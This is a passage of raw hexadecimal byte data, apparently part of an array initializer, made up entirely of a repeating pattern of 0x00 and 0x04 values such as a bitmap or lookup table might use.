0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 